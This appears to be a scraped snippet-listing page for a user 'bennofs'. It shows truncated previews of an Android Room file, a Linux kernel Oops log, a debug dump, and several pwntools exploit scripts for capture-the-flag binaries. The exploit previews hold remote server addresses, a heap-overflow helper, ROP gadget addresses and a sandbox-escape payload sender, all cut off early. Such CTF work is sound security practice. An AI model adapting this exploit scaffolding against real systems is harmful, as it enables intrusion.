bennofs

package io.bennofs.androidplayground;

import android.arch.persistence.room.ColumnInfo;
import android.arch.persistence.room.Dao;
import android.arch.persistence.room.Database;
import android.arch.persistence.room.Delete;
import android.arch.persistence.room.Entity;
import android.arch.persistence.room.Insert;
import android.arch.persistence.room.PrimaryKey;
import android.arch.persistence.room.Query;

bennofs

#!/usr/bin/env python2
from pwn import *

context.bits = 64
context.arch = "amd64"

# exe = context.binary = ELF("./bigLITTLE")
io = remote("54.178.214.211", 3573) if args.REMOTE else process("./bigLITTLE")

vdso_base = 0x5fe000

bennofs

Okt 16 11:16:38 d-cube kernel: Oops: 0000 [#1] PREEMPT SMP
Okt 16 11:16:38 d-cube kernel: Modules linked in: ccm fuse ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conn
Okt 16 11:16:38 d-cube kernel:  snd_hda_intel kvm irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc snd_hda_codec nls_iso8859_1 nls_cp437 iwlwifi vfat fat i2c_algo_bit snd_hda_core drm_kms_helper aesni_intel snd_hwdep aes_x8
Okt 16 11:16:38 d-cube kernel:  ahci libahci xhci_pci libata xhci_hcd rtsx_pci scsi_mod usbcore usb_common i8042 serio
Okt 16 11:16:38 d-cube kernel: CPU: 1 PID: 8442 Comm: IndexedDB #7 Tainted: G           O    4.13.5-1-ARCH #1
Okt 16 11:16:38 d-cube kernel: Hardware name: LENOVO 20FN003LGE/20FN003LGE, BIOS R06ET39W (1.13 ) 07/11/2016
Okt 16 11:16:38 d-cube kernel: task: ffff9e77d810be00 task.stack: ffffb910812d0000
Okt 16 11:16:38 d-cube kernel: RIP: 0010:kmem_cache_alloc+0x72/0

bennofs

admin_post_json_parse:
  0xdeadbeef
  0x613990
  (nil)
  0x2000
  0x611260
  0x9
  (nil)
  (nil)
  (nil)

bennofs

#!/usr/bin/env python2
from pwn import *

exe = context.binary = ELF("./router")
libc = ELF("./libc.so") if args.REMOTE else exe.libc 

got_end_chunk = 0x60f185
data_offset = 0x10 + 1

def heap_overflow(target_chunk, target_size, data, json="", p=False):

bennofs

We couldn’t find that file to show.

bennofs

#!/usr/bin/env python2
from pwn import *

badchars = "[]\."
regex_nop = '''function(){ return {"test": function() { return false; }}}'''

def run(conn, payload):
    payload = payload.strip().replace("\n", ";")
    conn.sendlineafter("Phone #> ", 'hangup=function(){};' + payload.strip() + "; ask()")

bennofs

#!/usr/bin/env python2
from pwn import *

exe = context.binary = ELF("./mrs._hudson")
#conn = process(exe.path)
conn = remote("178.62.249.106", 8642)
conn.recvline_contains("Let's go back to 2000.")
bufsize = 0x70
base = 0x601000
info("using base: %#x", base)

bennofs

#!/usr/bin/env python2
from pwn import *
from pwnlib import elf
from ctypes import *

context.arch = "amd64"
libc = ELF("./libc.so.6")

base = 0x400000
entry = 0x4005f0

bennofs

#!/usr/bin/env python2
from pwn import *
from ctypes import *

exe = context.binary = ELF("./sherlock_holmes")
libc = ELF("./libc.so.6")
#libc = exe.libc

add_rax_rdx = p64(0x0040047a)
mov_rdx = p64(0x00400546)